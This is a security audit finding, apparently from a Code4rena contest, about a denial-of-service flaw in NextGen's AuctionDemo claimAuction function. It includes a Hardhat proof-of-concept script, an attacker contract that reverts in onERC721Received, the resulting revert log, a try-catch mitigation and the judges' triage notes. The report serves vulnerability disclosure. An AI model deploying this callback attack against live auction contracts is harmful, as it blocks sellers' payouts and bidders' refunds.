Auction winner can maliciously DoS the claim process

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Description

When the auction has ended and winner wants to claim their token, claimAuction is called to transfer the token by calling safeTransferFrom.

IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);

However ERC721 token has callback which can be called from receiver and this can be used maliciously to DoS the claim process. As result owner won’t be able to receive their highestBid amount.

for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
    if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
        IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
        (bool success, ) = payable(owner()).call{value: highestBid}(""); // safeTransferFrom reverts so owner won't be able to receive their ether
        emit ClaimAuction(owner(), _tokenid, success, highestBid);
    } else if (auctionInfoData[_tokenid][i].status == true) {
        (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
        emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
    } else {}
}

PoC

// PoC.js

const { loadFixture } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
const helpers = require("@nomicfoundation/hardhat-network-helpers");
const { ethers } = require("hardhat")
const fixturesDeployment = require("./fixturesDeployment.js")

async function main() {
    const { signers, contracts } = await loadFixture(fixturesDeployment)
    const auctionDemo = await ethers.getContractFactory("auctionDemo");
    const hhAuction = await auctionDemo.deploy(contracts.hhMinter.getAddress(), contracts.hhCore.getAddress(), contracts.hhAdmin.getAddress())
    
    await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
    )

    await contracts.hhAdmin.registerCollectionAdmin(
        1,
        signers.addr1.address,
        true,
    )

    await contracts.hhCore.connect(signers.addr1).setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
    )

    await contracts.hhCore.addMinterContract(
        contracts.hhMinter,
    )

    await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
    )

    await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        200, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
    )

    await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
    )

    const auctionEnd = (await ethers.provider.getBlock("latest")).timestamp + 10000
    await contracts.hhMinter.mintAndAuction(
        signers.addr1.address,
        '{"tdh": "100"}',
        1,
        1,
        auctionEnd
    )

    const tokenIdx = await contracts.hhCore.viewTokensIndexMin(1) + await contracts.hhCore.viewCirSupply(1) - BigInt(1)
    await contracts.hhCore.connect(signers.addr1).approve(hhAuction.getAddress(), tokenIdx)

    const attack = await ethers.getContractFactory("AttackCallback")
    const hhAttack = await attack.connect(signers.addr2).deploy(signers.addr2.getAddress(), hhAuction.getAddress(), tokenIdx)

    await hhAttack.connect(signers.addr2).participateToAuction({value: ethers.parseEther("1")})

    // Increase to auction end time
    await helpers.time.increaseTo(auctionEnd)

    await hhAttack.connect(signers.addr2).claimAuction()
}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});

// AttackCallback.sol

pragma solidity ^0.8.19;

interface IauctionDemo {
    function participateToAuction(uint256) external payable;
    function claimAuction(uint256) external;
}

contract AttackCallback {
    address owner;
    IauctionDemo auct;
    uint256 tokenId;

    constructor(address owner_, address auction, uint256 tokenId_) {
        owner = owner_;
        auct = IauctionDemo(auction);
        tokenId = tokenId_;
    }

    function onERC721Received(address sender, address from, uint256 tokenId, bytes memory data) pure external {
        revert("onERC721Received");
    }

    function participateToAuction() payable external {
        auct.participateToAuction{value: msg.value}(tokenId);
    }

    function claimAuction() external {
        auct.claimAuction(tokenId);
    }

    receive() payable external {}
}

Here signers.addr2 deploys contract that reverts when onERC721Received is called. By running the PoC code, you can see the revert log as follows.

Error: VM Exception while processing transaction: reverted with reason string 'onERC721Received'
    at NextGenCore._checkOnERC721Received (smart-contracts/ERC721.sol:415)
    at NextGenCore._safeTransfer (smart-contracts/ERC721.sol:193)
    at NextGenCore.safeTransferFrom (smart-contracts/ERC721.sol:170)
		// omitted

Recommended Mitigation Steps

Use try-catch statement to handle revert from the callback.

Assessed type

DoS

[c4-pre-sort]

141345 marked the issue as duplicate of #843

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1759

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg changed the severity to 2 (Med Risk)